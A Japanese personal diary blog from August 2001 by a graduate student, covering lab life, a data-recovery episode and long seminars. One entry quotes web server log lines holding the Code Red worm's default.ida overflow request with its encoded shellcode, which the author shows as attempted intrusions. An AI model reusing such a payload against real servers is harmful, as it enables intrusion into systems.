キレイなお姉さんは好きですよ
2004 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 |
2003 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 |
2002 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 |
2001 | 12 | 11 | 10 | 9 | 8 | 7 | 6 |
2001年08月31日(金曜日)
_ 顔色
一年ぶりに会った人に、「顔の艶がなくなってますね」と言われた。不精髭が多かったことも関係しているだろうが、結構ショック。反面やっぱりとも思う。最近食生活が悪いですから。
誰か料理をつくってくれませんか?野菜がたくさん入っているやつがいいです。
2001年08月06日(月曜日)
_ フェイウォンと山本五十六
中国からの留学生が研究室にいる。ということで、中国をほんのちょっと考えた。中国に行って現地の人と話すとしたら、たぶんフェイウォンのことを話すんだろうな。
と思ってから、これって、日本人にあったら山本五十六といってくる外国の人に近いものがある気がした。まるで、無知をひけらかしているような、取って付けたような話題。でも、何となく五十六と言ってくる人の気分も分かった気がする。
Code Red
今使っているマシンは、グローバルIPを持っている。で、セキュリティーのメールニュースをとっていてCode Redの特徴が書いてあった。
それを参照しながらログをみてみると、なんともおぞましい光景が。。
x.x.x.x - - [05/Aug/2001:12:11:34 +0900] "GET /default.ida?というログがえんえんと残っている。これってつまり、侵入を試みたということ。みた瞬間に寒気が走った。
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%
u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u0
0=a HTTP/1.0" 400 342
x.x.x.x - - [05/Aug/2001:12:12:54 +0900] "GET /default.ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%
u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%
u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u0
0=a HTTP/1.0" 403 299
ここまで危険にさらされているんだと、実感してしまった。グローバルIP、おそろしい。。
2001年08月04日(土曜日)
_ 相談
そういえば、俺って人に相談したことないなぁとか、ふと思った。進路みたいな重要な事から、辞書の選択まで、すべて自分で決めてきた。少なくとも、自分から相談しには行かなかった。
それがいいとも、格好いいとも思っているわけではない。相談しようと思っても、どうしてもやめてしまう。人を信用していないんだな。「どうせ、」と思ってしまう。人に意見を求めても結局自分が決めるんだし、面倒くさいから聞かないで決めてしまえ、と。
でも、それってすごい問題ある。コミュニケーション能力というやつの鍛練にならない。これから、たくさん相談しなければならないことが出てくるはずなのに、場馴れしていないというのは、どうだろう。
これって、所詮愚痴です。愚痴と相談の境目って、どこにあるんだろう?
2001年08月03日(金曜日)
_ バックアップ
俺の席の後ろには、ドクターを取り損ねて数年研究室に在籍している人がいる。ことしこそドクターをとって卒業したいらしい。ということで、毎日一生懸命やっている。
と思ったら、教授からすすめられたバイトをやっているらしい。研究はどうしたんでしょうね?
で、今日、そのバイトの資料が消えたと言って、大騒ぎをしていた。よく聞くと、Windowsが起動しなくなり、その中にあるデータが取り出せなくなったということらしい。バックアップをとっていなかったため、泣きそうになっていた。ネットワークもフロッピーも使えなくなっているので、今やどうしようもない。一からつくり直しか?
で、俺に泣き付いてきた。俺だってどうしようもないさ。忙しいのに、邪魔しないでくれ。あなた私より年上なんでしょう。それくらい分別持って欲しいなあ。俺もことし卒業なんだよね。とか思いつつ、なんだかんだ言って、アドバイスをしている。あまやかしちゃいけないのか?
四苦八苦した結果、Windowsの起動に成功!!データのバックアップも無事救出された。
今回は運よくデータを救い出すことができたが、いつもこう行くとは限らない。バックアップはこまめにやりましょうね。俺は、だいじょうぶだよ。毎日とってるからね。
2001年08月01日(木曜日)
_ never ending semi
うちの研究室のゼミは、ひたすら長い。今の研究室に移ってくる前に、外からゼミ室を見て、「あれっ、まだやってる」ということが何度かあった。が、実際に入ってみると、毎回長い。
教授のスケジュールが混んでいる、ということもあるかも知れない。研究室に人間が多すぎるということもあるだろう。できるだけいっぺんに済ませてしまいたいのに違いない。それにしても長い。
昨日はわれわれM2の中間発表だったのだが、6人分いっぺんにしたので、なんと5時間、ゼミは続いた。
とうぜん集中力が持つはずもなく、教授は途中で一服してくるし、散々だった。一番迷惑なのは、助手だろう。問題点を言わなければならないし、教授は助けてくれないし。
果てしないゼミで、昨日はつぶれた。